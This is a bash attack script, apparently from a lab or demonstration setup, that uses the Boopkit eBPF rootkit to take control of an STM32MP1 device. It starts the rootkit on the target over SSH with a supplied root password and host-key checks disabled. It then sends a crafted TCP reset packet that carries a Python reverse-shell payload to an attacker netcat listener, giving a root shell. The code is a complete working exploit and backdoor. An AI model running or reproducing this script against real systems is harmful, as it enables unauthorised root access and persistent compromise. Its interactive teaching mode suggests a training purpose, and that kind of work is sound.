#!/bin/bash
# Copyright (C) 2025 CEA - All Rights Reserved
# 
# This program is free software: you can redistribute it and/or modify it under
# the terms of the GNU General Public License as published by the Free Software
# Foundation, either version 3 of the License, or (at your option) any later
# version.
# 
# This program is distributed in the hope that it will be useful, but WITHOUT ANY
# WARRANTY; without even the implied warranty of  MERCHANTABILITY or FITNESS FOR
# A PARTICULAR PURPOSE. See the GNU General Public License for more details.
# 
# You should have received a copy of the GNU General Public License along with
# this program.  If not, see <http://www.gnu.org/licenses/>.


# 1) UTILITY FUNCTIONS
# This section contains utility functions that assist with various tasks in the attack process

# Functions to print warning messages
YELLOW="\e[33m"
RESET="\e[0m"

function echo_warning {
    local message="$1"
    echo -e "${YELLOW}[warning] ${message}${RESET}"
}

# Function to request necessary information for performing the attack
get_attack_info(){
	read -p "[+] Please enter the STM32MP1 IP address : " target_ip_address
	while ! (ping -c 1 -W 2 $target_ip_address > /dev/null 2>&1) 
	do
		echo ""
		echo "[!] Invalid IP address or host unreachable"
		read -p "[+] Please enter the STM32MP1 IP address : " target_ip_address
	done

	local_ip=$(ip route get $target_ip_address | grep -oP 'src \K[\d.]+')
}

# Function to start the Netcat listener
start_netcat_listener(){
	echo "[+] Starting the Netcat listener on port $NETCAT_PORT."
	konsole -e "python3 netcat.py $NETCAT_PORT $is_automated_mode $ATTACK_OUTPUT_FILE" > /dev/null 2>&1 &
	pid_konsole=$!

	sleep 2
	if ! ps -p $pid_konsole > /dev/null; then
    	echo "[!] Failed to open a new terminal with 'Konsole'. Ensure that port $NETCAT_PORT is not already in use."
		exit 1
	fi

	echo "[+] A new terminal running Netcat should now be open."
	if [ $is_automated_mode -eq 1 ]; then
		echo "{\"status\": \"netcat-started\", \"netcat_pid\": $pid_konsole}" > "$ATTACK_OUTPUT_FILE"
	fi
}

# Function to trigger Boopkit and establish a reverse shell
trigger_boopkit(){
	./clone_boopkit.sh 1
	if [ $? -ne 0 ]; then
		echo "[!] Failed to clone or patch Boopkit."
		kill -2 $pid_konsole
		exit 1
	fi
	
    cd "$SCRIPT_DIR/boopkit_src/boop"

    payload="python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$local_ip\",$NETCAT_PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/sh\")'"

	echo ""
	echo "[+] Triggering Boopkit to establish a reverse shell connection."
    (sudo ./boopkit-boop -lhost $local_ip -lport $BOOPKIT_BOOP_PORT -rhost $target_ip_address -rport $TARGET_PORT -c "$payload") > /dev/null 2>&1 &

	sleep 6

    echo "[+] A reverse shell with root privileges should now be active on the Netcat listener."

	echo ""
	echo_warning "Be cautious when exiting the reverse shell. Simply closing the terminal will leave the shell session active on Boopkit. Boopkit will then no longer respond to any requests. If this happens, you will need to restart Boopkit."
}

# Function to handle the initialization phase of the attack
prepare_attack(){
	echo "[+] Starting Boopkit on the target system."
	if [ $root_username != "root" ]; then
		sshpass -p "$root_password" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o LogLevel=ERROR "$root_username"@$target_ip_address "cp -r /root/.boopkit ~"
	fi

	sshpass -p "$root_password" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o LogLevel=ERROR "$root_username"@$target_ip_address << EOF
	if ! ps aux | grep -v grep | grep '/etc/boopkit -i end0'; then
   		/etc/boopkit -i end0 -q &
	fi
EOF

	if [ $? -ne 0 ]; then
		echo "[!] Error: Failed to start Boopkit on the target device."
		exit 1
	fi
	sleep 4
	echo ""
}

# Function to execute the entire attack process
run_attack(){
	start_netcat_listener

	echo ""
	trigger_boopkit
}



# 2) ATTACK MODES
# This section defines different attack modes, alowing either user interaction or full automation.

# Function to guide the user through each step of the boopkit attack
attack_step_by_step(){
	echo ""
	echo "======== STEP 1 : Configure Attack Parameters ========"
	echo ""
	echo "[+] First, we need to gather the essential information to set up the attack."
	get_attack_info

    echo ""
	echo "======== STEP 2 : Start Netcat Listener ========"
	echo ""
	echo "[+] Now, let's start a Netcat listener on port $NETCAT_PORT."
	echo "[+] The Netcat listener will be used to receive the reverse shell connection from the target device."
	echo "[+] Press ENTER to start Netcat..."
	read -n 1 wait
	start_netcat_listener

    echo ""
	echo "======== STEP 3 : Trigger Boopkit ========"
	echo ""
	echo "[+] We are now ready to proceed with the attack. Before we do, let's explain how Boopkit works."
	echo "[+] Boopkit is a rootkit based on eBPF(Extended Berkeley Packet Filter)."
    echo "[+] It listens for TCP Reset packets and execute commands embedded within these packets."
    echo "[+] To trigger a reverse shell, we will send a crafted Reset packet to port $TARGET_PORT that instructs the target to connect to our Netcat listener."

    echo ""
    echo "[+] Important: To use Boopkit, it must already be running on the target device."
    echo "[+] To start Boopkit, log in as root and execute the following command on the target system : "
    echo "/etc/boopkit -i end0"

  	echo ""
    echo "[+] Press ENTER to proceed with the attack..."
	read -n 1 wait
	trigger_boopkit

    echo ""
	echo "[+] If you want to replay the attack with the non interactive mode, the command is :"
	echo "sudo ./exploit.sh -all ${target_ip_address} root root"
}

# Function to guide the user through necessary input and then run the attack without further explanation
attack_interactive(){
	get_attack_info

    echo ""
    run_attack
}

# Function to fully automate the attack process without user interaction
attack_automated(){
	local_ip=$(ip route get $target_ip_address | grep -oP 'src \K[\d.]+')

	case $attack_phase in
		(-a|-all)
			prepare_attack
			run_attack
			;;
		(-s|-setup)
			echo "[!] This attack does not have an setup phase."
			exit 1
			;;
		(-p|-prepare)
			prepare_attack
			echo '{"status": "complete-preparation"}' > "$ATTACK_OUTPUT_FILE"
			;;
		(-e|-exploit)
			run_attack
			;;
		(*)
			echo "[!] Invalid argument. Use -a|-all, -s|-setup, -p|-prepare, or e|-exploit."
			exit 1
	esac

	echo -e "\n======== END : ATTACK ENDED ========\n"
	exit 0
}



# 3) BEGINNING OF THE SCRIPT EXECUTION
# Main entry point of the script, handles initial checks and user options.

set -m

echo "========================================================== " 
echo "	  ____                    _    _ _    "
echo "	 |  _ \                  | |  (_) |   "
echo "	 | |_) | ___   ___  _ __ | | ___| |_  "
echo "	 |  _ < / _ \ / _ \| '_ \| |/ / | __| "
echo "	 | |_) | (_) | (_) | |_) |   <| | |_  "
echo "	 |____/ \___/ \___/| .__/|_|\_\_|\__| "
echo "	                   | |                "
echo "	                   |_|                "
echo ""
echo "========================================================== " 

echo ""
echo "[+] You are about to use Boopkit!"
echo "[+] Boopkit's purpose is to install a persistent backdoor on a system."
echo "[+] In this case, we will utilize this backdoor to gain a reverse shell."
echo ""

# General configuration variables
SCRIPT_DIR="$(realpath "$(dirname "$0")")"
TARGET_PORT=22
NETCAT_PORT=3545
BOOPKIT_BOOP_PORT=3535

# Variables used for automated attack mode
ATTACK_OUTPUT_FILE="$SCRIPT_DIR/../tmp_attack_output.json" 
is_automated_mode=0

cd "$SCRIPT_DIR/scripts"

# Check if the script is run as root
if [ "$(id -u)" != "0" ]; then
   echo "[!] This script must be run as root." 1>&2
   echo "[!] Usage: sudo $0"
   exit 1
fi

# If script is executed with exactly 4 arguments, run the attack automatically with this argument
if [ $# -eq 4 ]; then
	attack_phase=$1
	target_ip_address=$2
	root_username=$3
	root_password=$4

	echo '{"status": "ongoing"}' > "$ATTACK_OUTPUT_FILE"
	chmod a+rw "$ATTACK_OUTPUT_FILE"
	is_automated_mode=1
	attack_automated
fi

# Main loop to choose between interactive or step-by-step attack mode
while true;
do
	read -p  "[+] Choose interactive mode ('i') or step by step mode ('s'): " attack_mode

	case $attack_mode in
		(i|I)
			attack_interactive
			break
			;;
		(s|S)
			attack_step_by_step
			break
			;;
		(*)
			echo -e "[!] Invalid option.\n"
			;;
	esac
done

echo -e "\n======== END : ATTACK ENDED ========\n"
exit 0